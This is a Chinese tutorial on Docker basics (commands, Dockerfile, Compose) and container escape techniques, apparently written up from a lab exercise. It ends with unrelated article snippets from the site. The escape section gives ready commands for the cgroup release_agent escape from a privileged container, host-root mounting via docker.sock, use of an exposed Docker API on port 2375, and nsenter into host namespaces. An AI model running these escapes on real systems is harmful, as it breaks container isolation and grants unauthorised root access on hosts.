docker逃逸手法
docker逃逸手法
- 基本docker操作
- docker 命令
- dockerfiles
- Docker Compose
- 漏洞利用
- 容器漏洞
基本docker操作
docker 命令
# docker拉取
docker pull
# 指定版本拉取
docker pull ubuntu:22.04# 显示镜像可执行的操作
docker image
# 列出存储在本地系统上的所有图像
docker image ls
# 删除docker镜像
docker image rm# 运行容器
docker run <inage_name>
# 运行时进入容器终端
docker run -it helloworld /bin/bash
# docker 常见参数
docker run -d helloworld # -d参数指示容器以“分离”模式启动。这意味着容器将在后台运行。
docker run -it helloworld # 这个论点有两个部分。“i”表示交互式运行,“t”表示 Docker 在容器内运行 shell。如果我们希望在容器运行后直接与容器交互,我们将使用此选项
docker run -v /host/os/directory:/container/directory helloworld # -v参数是“Volume”的缩写,它告诉 Docker 将主机操作系统中的目录或文件挂载到容器内的某个位置。这些文件的存储位置在 Dockerfile 中定义
docker run -p 80:80 webserver # -p参数指示 Docker 将主机操作系统上的端口绑定到容器中公开的端口。如果您在容器中运行应用程序或服务(例如 Web 服务器),并希望通过导航到 IP 地址来访问应用程序/服务,则可以使用此说明。
docker run --rm helloworld # --rm参数告诉 Docker 在容器完成运行它被指示执行的任何操作后删除容器。
docker run --name helloworld # --name让我们给容器起一个友好、难忘的名字。在没有此选项的情况下运行容器时,名称是两个随机词。我们可以使用此 open 来命名容器,该容器在容器正在运行的应用程序之后。# 列出正在运行的容器
docker ps
# 列出所有的容器
docker ps -a
dockerfiles
# dockerfiles语法
from ubuntu # from指令为容器设置构建阶段,并设置基础映像(操作系统)。所有 Dockerfile 都必须从这个开始。
run whoami # run指令将在新层内的容器中执行命令。
copy /home/a/b copy指令将文件从本地系统复制到容器中的工作目录(语法类似于命令cp)。
WORKDIR / # WORKDIR指令设置容器的工作目录。(类似于在 Linux 上使用)。cd
CMD /bin/sh -c script.sh # CMD指令确定容器启动时运行哪个命令(您将使用它来启动服务或应用程序)。
EXPOSE 80 # EXPOSE指令用于告诉运行容器的人员在运行容器时应发布哪个端口。# docker构建
docker build -t helloworld ./Dockerfile
-t 命名镜像
Docker Compose
docker-compose up # 创建/构建并启动复合文件中指定的容器。
docker-compose start # 启动复合文件中指定的容器。
docker-compose down # 此命令将停止并删除复合文件中指定的容器。
docker-compose stop # 此命令将停止(而不是删除)复合文件中指定的容器
docker-compose build # 此命令将构建(但不会启动)复合文件中指定的容器Docker-compose.yml 文件
version # 它位于文件的顶部,用于标识为哪个版本的 Compose 编写docker-compose.yml
services # 此指令标志着要管理的容器的开始。
name # 在此指令中,您可以定义容器及其配置。“name”需要替换为您要定义的容器的实际名称,即“webserver”或“database”。
build # 此指令定义包含此容器/服务的 Dockerfile 的目录。(您将需要使用此图像或图像)。
ports # 此指令将端口发布到公开的端口(这取决于 image/Dockerfile)。
volumes # 此指令列出了应从主机操作系统挂载到容器中的目录。
environment # 此指令用于传递环境变量(不安全),即密码、用户名、时区配置等。
image # 此指令定义了应使用哪个映像来构建容器(您将需要使用此映像或构建该映像)。
networks # 此指令定义了容器将成为哪些网络的一部分。容器可以是多个网络的一部分(即 Web 服务器只能联系一个数据库,但数据库可以联系多个 Web 服务器)。
## 示例:version: '3.3'
services:web:build: ./webnetworks:- ecommerceports:- '80:80'database:image: mysql:latestnetworks:- ecommerceenvironment:- MYSQL_DATABASE=ecommerce- MYSQL_USERNAME=root- MYSQL_ROOT_PASSWORD=hellowordnetworks:ecommerce:
漏洞利用
容器漏洞
因容器的迁移特性,其中可能存在各种硬编码,比如拉取的web应用的数据库连接密码
同时不同的docker版本也具有不同的逃逸漏洞
特权容器
capsh --print # 列出特权Docker的功能
1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
2. echo 1 > /tmp/cgrp/x/notify_on_release
3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
4. echo "$host_path/exploit" > /tmp/cgrp/release_agent
5. echo '#!/bin/sh' > /exploit
6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
7. chmod a+x /exploit
8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
通过暴露的docker守护程序进行逃逸
验证我们的用户是否属于 Docker 组
groups # 查看是否有docker字样
find / -name docker.sock # 寻找docker套接字
# 创建新容器并把宿主机挂载在新容器中
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker rundocker run -v /:/mnt
chroot /mnt
通过暴露的docker守护程序远程执行代码
nmap -sV -p 2375 10.10.200.38 Starting Nmap # 看docker api是否运行在2375端口并可访问
curl http://10.10.200.38:2375/version # 确认docker守护进程
docker -H tcp://10.10.200.38:2375 ps # 在目标上执行docker命令# 值得注意的命令
network ls # 用于列出容器网络
images # 列出容器使用的图像
exec # 在容器上执行命令
run # 运行容器
滥用命名空间
确定我们是否在容器中
ps aux # 查看进程数,如果数量很小则可能在容器中
# 如果在容器中看到docker类似的进程,说明doker可能可以利用滥用命名空间逃逸# 漏洞利用
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# 命令解释
--target # 使用值为“1”的开关来执行我们稍后提供的 shell 命令,该命令在特殊系统进程 ID 的命名空间中执行,以获得最终的root
--mount # 指定此名称是我们提供目标进程的挂载命名空间的地方。“如果未指定文件,请输入目标进程的挂载命名空间。”
--uts # 该开关允许我们与目标进程共享相同的 UTS 命名空间,这意味着使用相同的主机名。这很重要,因为主机名不匹配可能会导致连接问题(尤其是网络服务)
--ipc # 开关意味着我们进入进程的进程间通信命名空间,这很重要。这意味着内存可以共享
--net # 关意味着我们进入网络命名空间,这意味着我们可以与系统的网络相关功能进行交互。例如,网络接口。我们可以使用它来打开一个新的连接(例如主机上的稳定反向 shell)可能需要“Ctrl + C”来取消一次或两次漏洞利用才能使此漏洞起作用
相关文章:
docker逃逸手法
docker逃逸手法 基本docker操作docker 命令dockerfilesDocker Compose漏洞利用容器漏洞 基本docker操作 docker 命令 # docker拉取 docker pull # 指定版本拉取 docker pull ubuntu:22.04# 显示镜像可执行的操作 docker image # 列出存储在本地系统上的所有图像 docker image…...

3 pytest Fixture
3 pytest Fixture 3.1 通过 conftest.py 共享 fixture3.2 使用 fixture 执行配置及销毁逻辑3.3 使用 --setup-show 回溯 fixture 的执行过程3.4 使用 fixture 传递测试数据3.5 使用多个 fixture3.6 指定 fixture 作用范围3.7 使用 usefixtures 指定 fixture3.8 为常用 fixture …...

pinctl 和 gpio子系统驱动
一.设备树中添加pinctl节点模板 1.创建对应的节点 同一个外设的 PIN 都放到一个节点里面,打开 imx6ull-14x14-evk.dts,在 iomuxc 节点 中的“imx6ul-evk”子节点下添加 “pinctrl_test” 节点。添加完成以后如下所示: pinctrl_test:test_g…...
RocketMQ消息堆积了怎么解决?
RocketMQ 的消息堆积,一般都是因为客户端本地消费过程中,由于消费耗时过长或消费并发度较小等原因,导致客户端消费能力不足,出现消息堆积的问题。 当线上出现消息堆积的问题时,一般有以下几种方式来解决: 增加消费者…...

C++第十二弹 -- STL之list模拟实现
文章索引 前言模拟实现list1. ListNode节点类2. list的迭代器封装3. 反向迭代器4. list类的模拟实现测试代码 list的反向迭代器总结 前言 通过模拟实现可以让我们更加深刻的理解C底层STL的实现逻辑, 本篇就对list的底层进行模拟实现. 博客主页: 酷酷学!!! 点击关注 共同进步!…...

Destiny of Gods首轮测试正式开启,参与玩家数量突破10万
天神风云,波澜再兴,GameFi链游聚合平台Destiny of Gods首款同名数字卡牌回合制游戏首轮测试定档8月20日20:00(GMT8),现已正式开启! 这是一个由人、游灵和神灵共存的世界,历经蛮荒时期的纷争与信…...

QT聊天室基于Tcp
server.cpp #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget),server(new QTcpServer(this)) // 给服务器指针对象实例化空间{ui->setupUi(this); }Widget::~Widget() {delete ui; }…...

公开课观后感:密歇根大学python for everyone
从2024年1月17日到2024年8月20日,终于将密歇根大学的python for everyone的python公开课跟完。站在一月份规划的时刻来看,比我想象中花费的时间更多,我当时肯定没有想到要花上整整七个月的时间才能将这个公开课的内容看完,毕竟这个…...
goweb框架-gin
文章目录 Gin框架概览Gin框架的特点Gin框架的安装和基本使用安装基本使用 路由系统路由的基本概念Gin框架路由的特点 Radix Tree(基数树)基数树的定义和原理基数树在Gin框架中的应用节省空间的优化动态路由和通配符处理 路由树的构建注册路由的过程路由树…...

2024年接口测试高频面试题及答案
1. 什么是接口测试? •接口测试就是通过测试不同情况下的入参与之相应的出参信息来判断接口是否符合或满足相应的功能性、安全性要求 •测试的重点是要检查数据的交换,传递和控制管理过程,以及系统间的相互逻辑依赖关系 2. 为什么要做接口…...

ESP32-C3在MQTT访问时出现“transport_base: Poll timeout or error”问题的分析(8)
接前一篇文章:ESP32-C3在MQTT访问时出现“transport_base: Poll timeout or error”问题的分析(7) 前边几回分析了笔者在MQTT测试时所遇到的问题: 最终定位到了是由于components\components\tcp_transport\transport_ssl.c的base_poll_write函数中调用的select函数超时返回…...
Linux: 忘记密码的解决方法,passwd
https://www.redhat.com/sysadmin/recover-root-passwd 这里的方法很简单,就是通过console进去,添加一个启动参数,加载sysroot,然后用passwd命令修改密码。这个是RHEL7适用。 https://access.redhat.com/solutions/1192 这个是提…...

36. 有效的数独【 力扣(LeetCode) 】
一、题目描述 请你判断一个 9 x 9 的数独是否有效。只需要 根据以下规则 ,验证已经填入的数字是否有效即可。 数字 1-9 在每一行只能出现一次。 数字 1-9 在每一列只能出现一次。 数字 1-9 在每一个以粗实线分隔的 3x3 宫内只能出现一次。(请参考示例图…...
机器学习中的没有免费午餐定理
嘿,各位机器学习的爱好者们!今天,让我们一起深入探讨机器学习中那个神秘而又重要的概念——没有免费午餐定理。 一、定理引入:探索算法森林的钥匙 在广阔无垠的机器学习领域中,免费午餐定理就如同一把神奇的钥匙&…...
高级java每日一道面试题-2024年8月21日-框架篇[Spring篇]-使用IOC容器应该注意哪些?
如果有遗漏,评论区告诉我进行补充 面试官: 使用IOC容器应该注意哪些? 我回答: 1. 理解IOC的基本概念 控制反转:在传统的编程模式中,程序会主动控制依赖关系的创建和管理。而在IoC容器中,这种控制权被反转给了容器本身。程序员只需要声明…...
LLM训练推理相关概念
1. 有监督微调(Supervised Fine-Tuning)与指令微调(Instruction Fine-Tuning)对模型参数的影响 **有监督微调(Supervised Fine-Tuning, SFT)和指令微调(Instruction Fine-Tuning, Instruct-Tun…...

IP in IP 协议
IP in IP 是一种多重IP协议,即:客户机可以发送一个IP协议内部在嵌套一个IP协议到某个特定的主机上,在由具体的主机作为路由进行转发的协议。 例如: IP in IP帧协议结构为,第一层为发送到IP in IP 路由主机的报文&…...
DAY2: HTTP请求报文和响应报文是怎样的,有哪些常见的字段?| HTTP有哪些请求方式?| GET请求和POST请求的区别
目录 HTTP请求报文和响应报文是怎样的,有哪些常见的字段? 请求报文 响应报文 HTTP有哪些请求方式? GET请求和POST请求的区别 HTTP请求报文和响应报文是怎样的,有哪些常见的字段? HTTP报文分为请求报文和响应报文…...
线性代数:每日一题1/特征值与相似对角化
设A, B 为二阶矩阵,且 AB BA , 则“A有两个不相等的特征值”是“B可对角化"的() A. 充分必要条件 B. 充分不必要条件 C.必要不充分条件 D.既不充分也不必要条件 知识点: 特征向量与特征值的关系 相似矩阵的定义和性质 n阶…...
Android UI:PopupWindow:API
文章目录 类操作 对PopupWindow的操作 创建PopupWindow对象的操作添加并显示PopupWindow的操作移除PopupWindow的操作更新PopupWindow的操作显示内容的相关操作 布局的相关操作进入退出动画的相关操作 Transition设置进入动画的相关操作Transition设置退出动画的相关操作XML设置…...

大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...
电脑插入多块移动硬盘后经常出现卡顿和蓝屏
当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时,可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案: 1. 检查电源供电问题 问题原因:多块移动硬盘同时运行可能导致USB接口供电不足&#x…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户,但你不希望用 root 权限运行 ns-3(这是对的,ns3 工具会拒绝 root),你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案:创建非 roo…...
Spring Boot面试题精选汇总
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...

NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...

前端开发面试题总结-JavaScript篇(一)
文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包(Closure)?闭包有什么应用场景和潜在问题?2.解释 JavaScript 的作用域链(Scope Chain) 二、原型与继承3.原型链是什么?如何实现继承&a…...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...

蓝桥杯3498 01串的熵
问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798, 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...

中医有效性探讨
文章目录 西医是如何发展到以生物化学为药理基础的现代医学?传统医学奠基期(远古 - 17 世纪)近代医学转型期(17 世纪 - 19 世纪末)现代医学成熟期(20世纪至今) 中医的源远流长和一脉相承远古至…...
scikit-learn机器学习
# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...